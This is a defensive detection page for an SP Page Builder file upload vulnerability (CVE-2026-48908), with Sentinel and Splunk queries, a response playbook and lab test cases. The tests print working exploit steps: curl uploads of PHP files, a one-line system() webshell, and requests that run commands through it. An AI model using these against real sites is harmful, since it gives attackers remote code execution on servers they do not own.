CVE-2026-48908 Microsoft Sentinel · KQL

Detect CVE-2026-48908 - JoomShaper SP Page Builder Unrestricted File Upload in Microsoft Sentinel

Detects exploitation of CVE-2026-48908, an unrestricted file upload vulnerability (CWE-434) in JoomShaper SP Page Builder for Joomla. Attackers can upload files with dangerous types (e.g., PHP webshells) through the page builder interface, leading to remote code execution. This vulnerability is listed in CISA's Known Exploited Vulnerabilities catalog.

MITRE ATT&CK

Tactic
Initial Access Execution Persistence

KQL Detection Query

Microsoft Sentinel (KQL)
kusto 
union
  (
    AzureDiagnostics
    | where Category == "ApplicationGatewayAccessLog"
    | where requestUri_s matches regex @"(?i)/components/com_sppagebuilder/.*upload"
    | where httpStatus_d in (200, 201, 202)
    | extend FileName = extract(@"filename[^;\r\n]*;[\s]*filename[^;\r\n]*=[\s]*([^;\r\n]*)", 1, tostring(requestBody_s))
    | extend FileExt = extract(@"\.(php\d?|phtml|phar|asp|aspx|jsp|cgi|pl|py|rb|sh|bash)$", 0, tolower(FileName))
    | where isnotempty(FileExt)
    | extend AlertDetail = strcat("Dangerous file upload via SP Page Builder: ", FileName)
    | project TimeGenerated, requestUri_s, clientIP_s, FileName, FileExt, AlertDetail
  ),
  (
    W3CIISLog
    | where csUriStem matches regex @"(?i)/components/com_sppagebuilder"
    | where csMethod == "POST"
    | where scStatus in (200, 201)
    | extend SuspiciousExt = extract(@"(?i)\.(php\d?|phtml|phar|asp|aspx|jsp|cgi|pl|py|rb|sh|bash)", 0, csUriQuery)
    | where isnotempty(SuspiciousExt)
    | project TimeGenerated, cIP, csUriStem, csUriQuery, scStatus, SuspiciousExt
  ),
  (
    CommonSecurityLog
    | where DeviceVendor == "Imperva" or DeviceVendor == "F5"
    | where RequestURL matches regex @"(?i)/components/com_sppagebuilder.*upload"
    | where RequestMethod == "POST"
    | where AdditionalExtensions matches regex @"(?i)\.(php|phtml|phar|asp|aspx|jsp)"
    | project TimeGenerated, SourceIP, RequestURL, RequestMethod, AdditionalExtensions
  )
| extend CVE = "CVE-2026-48908"
| extend Tactic = "Initial Access / Execution"
| extend RiskScore = 90
critical severity high confidence

Detects HTTP POST requests to SP Page Builder upload endpoints containing dangerous file extensions (PHP, ASP, JSP, etc.) indicating potential webshell upload exploitation of CVE-2026-48908.

Data Sources

Azure Application Gateway LogsIIS W3C LogsWAF/Proxy LogsCommonSecurityLog

Required Tables

AzureDiagnosticsW3CIISLogCommonSecurityLog

False Positives & Tuning

  • Legitimate administrative file uploads by Joomla administrators using SP Page Builder for authorized content
  • Security scanning tools performing vulnerability assessments against the Joomla installation
  • Penetration testing activities against the web application with prior authorization

Other platforms for CVE-2026-48908

Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Unauthenticated PHP Webshell Upload via SP Page Builder

    Expected signal: Web server access log entry: POST /index.php?option=com_sppagebuilder&task=file.upload HTTP/1.1 200; multipart/form-data body containing filename=shell.php with PHP content

  2. Test 2Double Extension Bypass Upload Attempt

    Expected signal: POST request to SP Page Builder upload endpoint with filename containing double extension (.php.jpg); web server logs showing 200 response and file write event to upload directory

  3. Test 3Webshell Execution Verification Post-Upload

    Expected signal: Web server access log entries: GET /images/shell.php HTTP/1.1 200; process execution events showing php-fpm or apache spawning child processes (id, hostname, uname); potential outbound network connections from web server process

Last updated: 2026-07-08 Research depth: standard
References (4)

Response Playbook

Triage

  1. Identify the source IP of the upload request and determine if it originates from an authenticated Joomla administrator session or an unauthenticated/anonymous request by correlating with Joomla authentication logs.
  2. Examine the full HTTP request including headers, cookies, and body to determine the exact filename and MIME type of the uploaded file; retrieve the uploaded file from the server's upload directory for static analysis.
  3. Check the Joomla filesystem (typically /components/com_sppagebuilder/assets/uploads/ or /media/com_sppagebuilder/) for newly created files with PHP, ASP, or JSP extensions within the timeframe of the alert.
  4. Review web server access logs for subsequent GET or POST requests to the uploaded file path, which would indicate webshell access or command execution attempts post-upload.

Containment

  1. Immediately quarantine or remove any discovered webshell files from the Joomla web root and block direct HTTP access to the SP Page Builder upload directory via web server configuration or WAF rule.
  2. Block the source IP at the perimeter firewall or WAF, and if the Joomla site is behind a CDN, add the IP to the CDN's blocklist; simultaneously disable SP Page Builder plugin if a patched version is not available.

Evidence Collection

  1. Preserve full web server access logs and error logs covering the 24-hour window surrounding the upload event, ensuring log integrity by creating cryptographic hashes before any further analysis.
  2. Collect the uploaded file (if still present) and any child processes spawned from the web server process (e.g., Apache, Nginx, php-fpm) during and after the upload event using endpoint forensic tools.

Escalation Criteria

  • !Escalate immediately to incident response if subsequent requests to the uploaded file path are detected, as this confirms webshell access and active remote code execution against the server.
  • !Escalate if evidence of lateral movement is found (e.g., outbound connections from web server process, new user accounts created, SSH key modifications) indicating the attacker has pivoted beyond the initial web compromise.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >Web server access logs showing POST requests to /components/com_sppagebuilder/ paths with 200 response codes
  • >Filesystem artifacts: newly created .php, .phar, .phtml files in Joomla upload directories (check /components/com_sppagebuilder/, /media/, /images/)
  • >Web server error logs showing PHP execution errors from unusual paths, indicating webshell interaction attempts
  • >Joomla session logs and database entries for com_sppagebuilder showing upload actions correlated with user/session identifiers

Tuning Guidance

Reduce false positives by creating an allowlist of internal administrator IP ranges and known Joomla management subnets. Exclude scheduled tasks or deployment pipelines that legitimately write to Joomla component directories. Consider adding MIME type inspection at the WAF layer to block uploads where Content-Type does not match the file extension. If your environment uses a specific SP Page Builder version range, add version fingerprinting to the detection to avoid alerting on already-patched instances. Threshold tuning: single upload events from external IPs should retain high fidelity; internal IPs may require correlation with session authentication to reduce noise.

Hunting Queries

Threat hunt for repeated POST activity to SP Page Builder endpoints over the past 7 days, identifying potential brute-force upload attempts or automated exploitation tooling.

Hunting — KQL
kql 
W3CIISLog
| where TimeGenerated > ago(7d)
| where csUriStem matches regex @"(?i)/components/com_sppagebuilder"
| where csMethod == "POST"
| summarize UploadCount=count(), UniqueURIs=dcount(csUriStem), StatusCodes=make_set(scStatus) by cIP, bin(TimeGenerated, 1h)
| where UploadCount > 5
| order by UploadCount desc
Hunting — SPL
spl 
index=web earliest=-7d
| where match(uri, "(?i)com_sppagebuilder") AND method="POST"
| bucket _time span=1h
| stats count AS attempts, dc(uri) AS unique_paths, values(status) AS response_codes BY clientip, _time
| where attempts > 5
| sort -attempts

Atomic Red Team Tests

Test 1 Unauthenticated PHP Webshell Upload via SP Page Builder
linux

Simulates an unauthenticated attacker attempting to upload a PHP webshell through the SP Page Builder file upload endpoint, exploiting CVE-2026-48908.

Command

bash 
# LAB ONLY - Requires a vulnerable SP Page Builder installation
curl -s -X POST \
  'http://TARGET_JOOMLA/index.php?option=com_sppagebuilder&task=file.upload' \
  -H 'Content-Type: multipart/form-data' \
  -F 'file=@/tmp/test_shell.php;type=image/jpeg;filename=shell.php' \
  -F 'path=images/' \
  -v 2>&1

# Create test payload first:
echo '<?php echo "CVE-2026-48908-TEST-".phpversion(); ?>' > /tmp/test_shell.php

Cleanup

bash 
rm -f /tmp/test_shell.php
# On target: rm -f TARGET_JOOMLA_ROOT/images/shell.php

Expected Telemetry

Web server access log entry: POST /index.php?option=com_sppagebuilder&task=file.upload HTTP/1.1 200; multipart/form-data body containing filename=shell.php with PHP content

Expected Detection

Alert triggered on POST to com_sppagebuilder endpoint with .php file extension in filename parameter returning HTTP 200

Test 2 Double Extension Bypass Upload Attempt
linux

Tests bypass technique using double extension (e.g., shell.php.jpg) to evade file type filters in SP Page Builder, while still achieving PHP execution on misconfigured servers.

Command

bash 
# LAB ONLY
echo '<?php system($_GET["cmd"]); ?>' > /tmp/bypass_test.php.jpg
curl -s -X POST \
  'http://TARGET_JOOMLA/index.php?option=com_sppagebuilder&task=file.upload' \
  -H 'Content-Type: multipart/form-data' \
  -F 'file=@/tmp/bypass_test.php.jpg;type=image/jpeg' \
  -v 2>&1

Cleanup

bash 
rm -f /tmp/bypass_test.php.jpg

Expected Telemetry

POST request to SP Page Builder upload endpoint with filename containing double extension (.php.jpg); web server logs showing 200 response and file write event to upload directory

Expected Detection

Detection may require tuning to catch double-extension patterns; file creation monitoring should flag .php.jpg files in web directories

Test 3 Webshell Execution Verification Post-Upload
linux

After successful file upload via CVE-2026-48908, simulates an attacker accessing the uploaded webshell to verify remote code execution capability.

Command

bash 
# LAB ONLY - Run after successful upload test
# Verify webshell is accessible and executes
curl -s 'http://TARGET_JOOMLA/images/shell.php' 2>&1

# Test command execution if webshell accepts cmd parameter
curl -s 'http://TARGET_JOOMLA/images/shell.php?cmd=id' 2>&1
curl -s 'http://TARGET_JOOMLA/images/shell.php?cmd=hostname' 2>&1
curl -s 'http://TARGET_JOOMLA/images/shell.php?cmd=uname+-a' 2>&1

Cleanup

bash 
rm -f TARGET_JOOMLA_ROOT/images/shell.php
# Clear PHP opcode cache if applicable: php -r "opcache_reset();"

Expected Telemetry

Web server access log entries: GET /images/shell.php HTTP/1.1 200; process execution events showing php-fpm or apache spawning child processes (id, hostname, uname); potential outbound network connections from web server process

Expected Detection

EDR/endpoint telemetry alert on web server process (httpd, php-fpm, nginx) spawning system commands (id, uname, whoami); SIEM alert on GET requests to recently created PHP files in upload directories

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002ExecutionTA0003Persistence

Related Techniques

T1190Exploit Public-Facing ApplicationT1505.003Web ShellT1059.004Unix Shell

Same Tactic: Initial Access

Popular Detections